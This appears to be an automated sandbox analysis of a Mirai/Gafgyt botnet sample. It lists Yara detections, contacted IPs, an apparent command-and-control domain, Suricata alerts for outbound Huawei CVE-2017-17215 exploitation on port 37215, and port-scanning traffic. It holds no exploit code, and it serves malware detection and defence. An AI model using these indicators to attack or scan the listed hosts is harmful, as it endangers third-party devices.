Source: na.elf, 5438.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5442.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5444.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5445.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5448.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5449.1.000055c3077bb000.000055c30781e000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: na.elf PID: 5438, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5442, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5445, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5449, type: MEMORYSTR

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: na.elf PID: 5438, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5442, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5445, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5449, type: MEMORYSTR

Screenshots

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
191.123.141.174	unknown	Brazil	26615	TIMSABR	false
147.110.92.82	unknown	South Africa	37121	ESKOM-HOLDINGS-SOC-LTDZA	false
5.169.144.242	unknown	Italy	16232	ASN-TIMServiceProviderIT	false
109.54.102.139	unknown	Italy	16232	ASN-TIMServiceProviderIT	false
94.157.46.97	unknown	Netherlands	50266	TMOBILE-THUISNL	false
156.126.189.141	unknown	United States	393504	XNSTGCA	false
117.157.2.213	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
86.95.183.81	unknown	Netherlands	1136	KPNKPNNationalEU	false
178.43.18.73	unknown	Poland	5617	TPNETPL	false
197.58.173.187	unknown	Egypt	8452	TE-ASTE-ASEG	false
212.124.22.153	unknown	Russian Federation	24699	IVTELECOM-ASRU	false
182.159.234.226	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
173.201.163.70	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	false
216.140.35.43	unknown	United States	3356	LEVEL3US	false
156.87.159.221	unknown	United States	10695	WAL-MARTUS	false
156.175.119.53	unknown	Egypt	36992	ETISALAT-MISREG	false
144.17.214.58	unknown	United States	210	WEST-NET-WESTUS	false
20.166.40.4	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
109.16.176.120	unknown	France	15557	LDCOMNETFR	false
82.233.18.74	unknown	France	12322	PROXADFR	false
90.222.252.251	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
118.197.211.138	unknown	China	7497	CSTNET-AS-APComputerNetworkInformationCenterCN	false
75.113.244.230	unknown	United States	33363	BHN-33363US	false
117.128.187.185	unknown	China	56048	CMNET-BEIJING-APChinaMobileCommunicaitonsCorporationCN	false
8.204.151.132	unknown	United States	3356	LEVEL3US	false
197.104.89.77	unknown	South Africa	37168	CELL-CZA	false
203.231.141.183	unknown	Korea Republic of	9848	SEJONGTELECOM-AS-KRSejongTelecomKR	false
156.34.100.37	unknown	Canada	855	CANET-ASN-4CA	true
5.201.73.157	unknown	Poland	12324	LUBMAN-EDU-ASPolandLublinPL	false
157.48.138.233	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
80.88.171.24	unknown	Italy	31263	MYNET-ASIT	false
212.215.188.107	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
41.30.192.101	unknown	South Africa	29975	VODACOM-ZA	true
42.101.216.20	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
78.93.252.133	unknown	Saudi Arabia	25233	AWALNET-ASNSA	false
96.204.210.40	unknown	United States	7922	COMCAST-7922US	false
41.224.96.74	unknown	Tunisia	37492	ORANGE-TN	true
210.86.190.121	unknown	Thailand	7470	TRUEINTERNET-AS-APTRUEINTERNETCoLtdTH	false
185.176.223.197	unknown	Latvia	39845	LV-2CLOUD-ASN16LV	false
187.69.3.186	unknown	Brazil	22085	ClaroSABR	false
167.162.48.161	unknown	Australia	59447	SAYFANETTR	false
41.171.231.160	unknown	South Africa	36937	Neotel-ASZA	true
156.132.105.213	unknown	United States	29975	VODACOM-ZA	true
210.125.152.89	unknown	Korea Republic of	18158	CBNU-AS-KRCHUNGBUKNATIONALUNIVERSITYKR	false
41.198.16.204	unknown	South Africa	36877	IWAY_AFRICAZA	false
125.80.44.174	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
197.17.243.62	unknown	Tunisia	37693	TUNISIANATN	false
178.234.143.247	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
156.15.146.174	unknown	United States	137	ASGARRConsortiumGARREU	false
164.13.217.151	unknown	Finland	50195	UMSI	false
202.92.242.65	unknown	Australia	18111	NETSPEED-AS-APNetspeedInternetCommunicationsAU	false
200.41.145.35	unknown	Argentina	10834	TelefonicadeArgentinaAR	false
147.206.57.133	unknown	United States	55542	RMSNET-AS-APRoadsandMaritimeServicesAU	false
186.3.182.124	unknown	Ecuador	27947	TelconetSAEC	false
156.253.18.44	unknown	Seychelles	137443	ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	false
199.53.202.22	unknown	Switzerland	398192	ARDOT-NET-01US	false
107.114.209.77	unknown	United States	7018	ATT-INTERNET4US	false
41.15.176.217	unknown	South Africa	29975	VODACOM-ZA	false
197.193.105.19	unknown	Egypt	36992	ETISALAT-MISREG	false
156.198.96.217	unknown	Egypt	8452	TE-ASTE-ASEG	false
210.83.0.148	unknown	China	9929	CUIICHINAUNICOMIndustrialInternetBackboneCN	false
41.109.77.41	unknown	Algeria	36947	ALGTEL-ASDZ	false
2.51.218.9	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	false
156.89.98.16	unknown	United States	2386	INS-ASUS	false
41.173.148.68	unknown	South Africa	36937	Neotel-ASZA	false
153.10.235.67	unknown	United States	22063	UNASSIGNED	false
41.114.224.8	unknown	South Africa	16637	MTNNS-ASZA	false
208.230.148.100	unknown	United States	4208	THE-ISERV-COMPANYUS	false
202.219.102.192	unknown	Japan	2510	INFOWEBFUJITSULIMITEDJP	false
38.15.62.251	unknown	United States	174	COGENT-174US	false
176.250.68.146	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
73.109.15.214	unknown	United States	7922	COMCAST-7922US	false
210.141.227.0	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
117.2.77.129	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
18.127.165.240	unknown	United States	3	MIT-GATEWAYSUS	false
122.173.46.247	unknown	India	24560	AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices	false
57.129.112.166	unknown	Belgium	2686	ATGS-MMD-ASUS	false
197.150.90.71	unknown	Egypt	37069	MOBINILEG	false
99.228.123.121	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
186.15.34.85	unknown	Costa Rica	52228	CableTicaCR	false
94.50.150.156	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
37.205.92.23	unknown	Russian Federation	21127	ZSTTKASNovosibirskRussiaRU	false
76.201.253.144	unknown	United States	7018	ATT-INTERNET4US	false
109.70.178.238	unknown	Finland	198514	ALSOCLOUDOYFI	false
140.121.231.79	unknown	Taiwan; Republic of China (ROC)	38847	NCHU-AS-TWNationalChungHsingUniversityTW	false
117.114.24.125	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
212.34.0.48	unknown	Jordan	8697	JTC-AS8697JordanTelecomGroupJTGJO	false
197.128.239.155	unknown	Morocco	6713	IAM-ASMA	false
181.7.203.202	unknown	Argentina	7303	TelecomArgentinaSAAR	false
182.116.185.253	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
212.76.84.142	unknown	Saudi Arabia	41176	SAHARANET-ASSaharaNetMainNOCASSA	false
156.232.166.249	unknown	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	true
148.130.191.183	unknown	United States	6400	CompaniaDominicanadeTelefonosSADO	false
79.59.131.199	unknown	Italy	3269	ASN-IBSNAZIT	false
152.107.168.247	unknown	South Africa	36994	Vodacom-VBZA	false
169.41.38.28	unknown	Switzerland	37611	AfrihostZA	false
197.43.31.85	unknown	Egypt	8452	TE-ASTE-ASEG	false
204.87.39.118	unknown	United States	174	COGENT-174US	false
77.37.177.227	unknown	Russian Federation	42610	NCNET-ASRU	false
160.154.57.51	unknown	Cote D'ivoire	29571	ORANGE-COTE-IVOIRECI	false

Contacted Domains

Name	IP	Active
plutoc2.site	104.248.138.112	true

AV Detection

Antivirus / Scanner detection for submitted sample

Source: na.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: na.elf

ReversingLabs: Detection: 75%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56294 -> 197.128.191.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58150 -> 156.151.100.202:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56222 -> 41.218.100.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51172 -> 41.89.137.174:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35492 -> 156.232.166.249:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52302 -> 156.63.45.216:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60702 -> 41.122.156.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49984 -> 197.99.4.212:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46416 -> 41.31.234.229:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54196 -> 156.28.219.90:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49458 -> 41.144.135.4:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58414 -> 156.222.245.120:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48996 -> 156.210.161.242:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58876 -> 197.79.115.176:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53380 -> 41.101.45.97:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55100 -> 197.226.58.107:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55338 -> 41.194.87.213:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35340 -> 41.67.232.98:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34188 -> 41.196.7.31:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38254 -> 197.243.209.137:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56040 -> 156.176.210.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40294 -> 156.112.183.55:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54994 -> 156.27.51.195:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60318 -> 156.126.126.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55664 -> 156.114.22.213:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38016 -> 197.23.237.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55696 -> 156.254.157.70:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38392 -> 41.159.117.221:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37832 -> 41.149.126.151:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37940 -> 156.103.221.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38284 -> 41.126.233.88:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38064 -> 156.20.201.142:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33918 -> 197.20.253.147:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42712 -> 156.174.227.94:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45052 -> 197.39.41.65:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55518 -> 156.194.201.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46426 -> 41.107.169.125:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53540 -> 156.9.60.107:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.8.64.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.101.61.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.67.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.59.249.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.255.77.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.217.204.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.54.189.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.36.204.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.34.100.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.136.55.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.30.192.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.224.96.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.25.244.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.171.231.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.132.105.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.106.131.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.10.21.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.9.215.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.49.180.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.90.39.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.13.119.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.32.239.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.225.139.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.191.217.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.68.209.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.174.39.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.185.176.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.215.64.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.244.144.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.118.68.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.99.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.45.142.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.174.244.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.201.3.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.83.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.216.113.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.149.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.164.219.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.104.13.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.13.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.27.38.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.237.17.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.162.41.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.167.118.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.197.77.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.87.164.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.89.67.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.213.11.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.248.10.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.209.8.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.58.211.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.124.195.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.39.23.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.152.134.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.208.252.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.71.180.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.70.189.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.141.200.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.104.141.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.16.15.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.194.203.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.73.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.221.164.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.139.156.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.81.16.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.46.152.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.240.61.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.142.163.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.97.54.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.20.38.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.94.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.56.40.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.221.7.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.223.160.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.237.166.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.147.237.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.163.190.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.49.165.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.141.192.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.63.60.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.126.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.253.78.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.200.166.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.112.74.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.51.51.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.102.166.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.81.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.156.88.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.253.155.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.202.247.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.34.186.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.11.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.125.179.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.60.205.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.134.155.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.49.217.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.214.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.117.140.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.234.231.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.224.161.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.218.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.244.21.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.129.10.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.217.80.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.91.236.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.207.113.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.115.191.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.9.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.66.107.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.94.248.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.253.102.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.49.107.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.37.116.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.134.202.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.102.60.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.54.152.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.83.180.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.192.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.21.48.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.29.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.95.214.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.155.86.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.27.73.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.175.244.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.166.203.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.122.68.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.216.201.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.204.110.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.24.220.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.220.19.153 ports 1,2,3,5,7,37215
